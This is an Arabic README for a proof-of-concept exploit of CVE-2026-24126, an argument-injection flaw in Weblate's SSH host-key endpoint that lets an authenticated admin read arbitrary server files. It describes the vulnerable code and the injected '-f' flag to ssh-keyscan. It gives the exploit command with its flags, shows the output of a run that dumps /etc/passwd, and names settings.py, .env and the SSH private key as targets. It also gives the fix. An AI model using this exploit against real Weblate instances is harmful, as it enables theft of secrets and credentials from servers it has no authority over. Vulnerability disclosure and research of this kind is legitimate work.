
إثبات مفهوم لاستغلال CVE-2026-24126، وهو قراءة تعسفية للملفات في Weblate عبر حقن وسيط المضيف SSH، مما يسمح للمسؤولين المصادق عليهم بقراءة ملفات الخادم.
اكتشفه: Alejandro Baño · يناير 2026 اعترف به: ملاحظات إصدار Weblate 5.16
تمرر نقطة نهاية إدارة مفاتيح SSH في Weblate معامل host المقدم من مسؤول مصادق مباشرة إلى ssh-keyscan دون أي تنقية أو تحقق من الوسائط. نظرًا لأن ssh-keyscan يقبل علامة -f <file> لقراءة أسماء المضيفين المستهدفة من ملف، يمكن للمهاجم الذي يمتلك بيانات اعتماد مسؤول حقن هذه العلامة كقيمة المضيف وإجبار الخادم على فتح ملف محلي تعسفي. ينعكس مخرجات الخطأ الناتجة (أو stdout) حرفيًا مرة أخرى إلى المتصفح داخل كتلة رسالة خطأ، مما يكشف محتويات الملف.
| الحقل | القيمة |
|---|---|
| الهدف | Weblate (النسخ المستضافة ذاتيًا) |
| المكوّن | إدارة مفاتيح SSH — weblate/ssh/views.py · add_host_key() |
| المصادقة المطلوبة | نعم — حساب مسؤول Weblate |
| الإصدارات المتأثرة | جميع الإصدارات ≤ 5.15.2 (تم اختباره في 5.0.2 و 5.15.2) |
| التأثير | قراءة ملفات محلية تعسفية كمستخدم عملية خادم الويب (weblate, www-data إلخ.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — مبسّط
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← يتم إلحاق host دون أي تحقق
result = subprocess.run(cmdline, ...)
تأتي قيمة host مباشرة من حقل host في جسم POST دون قائمة مسموحة، ودون إزالة الشرطات البادئة، ودون فاصل وسيط -- قبل القيمة المقدمة من المستخدم. هذا يسمح للمهاجم بحقن أي علامة من علامات ssh-keyscan.
يقرأ ssh-keyscan -f /etc/passwd ملف /etc/passwd كقائمة بأسماء المضيفين، ويفشل في تحليل كل سطر، وينتج مخرجات خطأ لكل سطر. تنتقل مخرجات الخطأ هذه عبر معالج CalledProcessError وتُعرض داخل كتلة alert-danger في استجابة HTTP.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| العلامة | الوصف |
|---|---|
-r / --rhost | عنوان URL الأساسي لنسخة Weblate |
-u / --username | اسم مستخدم المسؤول |
-p / --password | كلمة مرور المسؤول |
-f / --file | مسار الملف المراد قراءته على الخادم |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] تم تسجيل الدخول بنجاح للمستخدم: admin
[*] جارٍ إرسال الحمولة إلى http://localhost/manage/ssh/، قد يستغرق هذا بعض الوقت، يرجى التحلي بالصبر...
[+] تم استخراج محتوى الملف:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] انتهى الاستغلال
يمكن استخراج أي ملف قابل للقراءة بواسطة مستخدم نظام التشغيل الذي يشغّل Weblate (عادةً مستخدم weblate) من خلال طلب POST واحد مصادق. تشمل الأهداف الحساسة:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaقم بالتحديث إلى Weblate 5.16.0 أو أحدث. هذا هو الإصلاح الرسمي الذي أصدره فريق Weblate في 18 فبراير 2026، والذي أدخل تحققًا مناسبًا من المدخلات في حقل مضيف SSH.
هذا المستودع مخصص لأغراض البحث الأمني التعليمي والمصرح به فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.